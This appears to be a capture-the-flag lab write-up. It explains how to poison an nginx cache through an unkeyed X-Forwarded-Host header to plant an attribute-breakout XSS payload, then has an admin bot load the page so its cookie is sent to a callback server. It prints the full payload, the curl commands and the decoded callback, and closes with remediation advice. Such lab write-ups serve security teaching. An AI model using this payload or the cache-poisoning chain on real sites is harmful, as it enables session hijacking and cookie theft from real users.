Lab 182 — PagePilot — XSS via Cache Poisoning
Lab 182 — PagePilot — XSS via Cache Poisoning
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-20 | Status: Solved Techniques: attribute_breakout_xss, cache_key_analysis, cookie_exfiltration, forwarded_host_poisoning
Summary
Task: An Express application behind nginx caches HTML containing a proxy-derived host and provides an admin review bot. Solution: Poison the unkeyed X-Forwarded-Host value with attribute-breakout XSS, report the cached page, and decode the exfiltrated flag cookie.
Lab 182 — PagePilot — XSS via Cache Poisoning — hackadvisor
Description
Lab 182 — PagePilot — XSS via Cache Poisoning
PagePilot was an Express publishing application behind nginx. The objective was to exploit a discrepancy between the cache key and data used to generate HTML, execute JavaScript in the administrator's browser, and recover the flag from the administrator's cookie.
The page source also contained this value:
text read-only • copy allowedFLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
This was an anti-automation decoy, not the answer. The real flag had to come from the administrator's cookie.
Reconnaissance
Responses identified Express behind nginx 1.25.5:
http read-only • copy allowedServer: nginx/1.25.5 X-Powered-By: Express X-Cache: MISS X-Cache-TTL: 30
Repeated requests changed X-Cache from MISS to HIT, confirming that HTML responses were cached for 30 seconds. Two additional surfaces were relevant:
POST /reportaccepted a relative path such as/post/1and caused a Headless Chrome administrator bot to visit it.POST /api/commentsaccepted public JSON comments, although comments were not needed for the final exploit.
Vulnerability Analysis
Cache-key discrepancy
The cache identified entries by the path but ignored inputs that the application used while rendering absolute URLs.
First, a request to /post/2?view=PPQUERYCANARY on a cache miss placed the full query string in the og:url and canonical tags. A subsequent request to plain /post/2 was a cache hit and still contained PPQUERYCANARY. This proved that the query string affected the response without affecting the cache key.
A cleaner primitive was the proxy header:
http read-only • copy allowedGET /post/3 HTTP/1.1 X-Forwarded-Host: pphostcanary.invalid
On a miss, both generated tags changed to:
html read-only • copy allowed<meta property="og:url" content="https://pphostcanary.invalid/post/3"> <link rel="canonical" href="https://pphostcanary.invalid/post/3">
A normal request to /post/3 then hit the same poisoned cache entry. Therefore:
- nginx did not include
X-Forwarded-Hostin the cache key. - Express trusted that header when constructing absolute URLs.
- The value was inserted into quoted HTML attributes without output encoding.
This combined an unkeyed cache input with an attribute-breakout XSS sink.
Payload construction
The final header value was:
html read-only • copy allowed"><script>location="http://interact/0f6131f2-4bf4-48dc-8f61-634605617857/cb/"+btoa(document.cookie)</script><x x="
It closed the content attribute and original tag, inserted a script, and used a dummy <x> element to absorb the trailing /post/5">. The cached markup became approximately:
html read-only • copy allowed<meta property="og:url" content="https://"><script>location="http://interact/0f6131f2-4bf4-48dc-8f61-634605617857/cb/"+btoa(document.cookie)</script><x x="/post/5">
The script navigated to the Interaction Server and placed the Base64-encoded cookie in the URL path. An earlier version used encodeURIComponent(document.cookie) in the query string, but the available callback log exposed only /cb and omitted the query. Moving the data into the path made it visible.
Solution
1. Poison a fresh cache entry
The poison request had to land while /post/5 was uncached, as confirmed by X-Cache: MISS:
bash read-only • copy allowedcurl -sS -D poison.headers -o poison.html \ -H 'X-Forwarded-Host: "><script>location="http://interact/0f6131f2-4bf4-48dc-8f61-634605617857/cb/"+btoa(document.cookie)</script><x x="' \ 'https://0f6131f2-4bf4-48dc-8f61-634605617857.labs.hackadvisor.io/post/5'
2. Trigger the administrator bot
Before the 30-second cache entry expired, the poisoned path was submitted to the report endpoint:
bash read-only • copy allowedcurl -sS -X POST \ 'https://0f6131f2-4bf4-48dc-8f61-634605617857.labs.hackadvisor.io/report' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'url=/post/5'
The application replied that an administrator would review the content. The bot then loaded /post/5, received the poisoned cached HTML, and executed the injected script.
3. Decode the callback
The Interaction Server recorded a request from HeadlessChrome 124:
text read-only • copy allowed/cb/ZmxhZz1GTEFHezAzNmE2MjljZjY2OTkyZDczNWQwZWQwODQyNTM0YmQ1fQ==
Decoding the final path segment:
bash read-only • copy allowedprintf '%s' 'ZmxhZz1GTEFHezAzNmE2MjljZjY2OTkyZDczNWQwZWQwODQyNTM0YmQ1fQ==' | base64 -d
produced:
text read-only • copy allowedflag=FLAG{REDACTED}
Remediation
- Do not trust client-supplied forwarding headers. Strip them at the edge and set a canonical host from trusted configuration.
- Include every response-influencing input in the cache key, or prevent responses influenced by such inputs from being cached.
- Normalize or reject unexpected query strings and proxy headers before cache lookup.
- Apply context-appropriate HTML attribute encoding to all generated metadata values.
- Add a restrictive Content Security Policy as defense in depth; it should not replace correct output encoding.
- Store sensitive cookies with
HttpOnly,Secure, and an appropriateSameSitepolicy.HttpOnlywould have preventeddocument.cookietheft in this chain.
Reference
suggested the general chain of an unkeyed cache input leading to XSS and administrator cookie theft. PagePilot's challenge-specific primitive was raw X-Forwarded-Host reflection.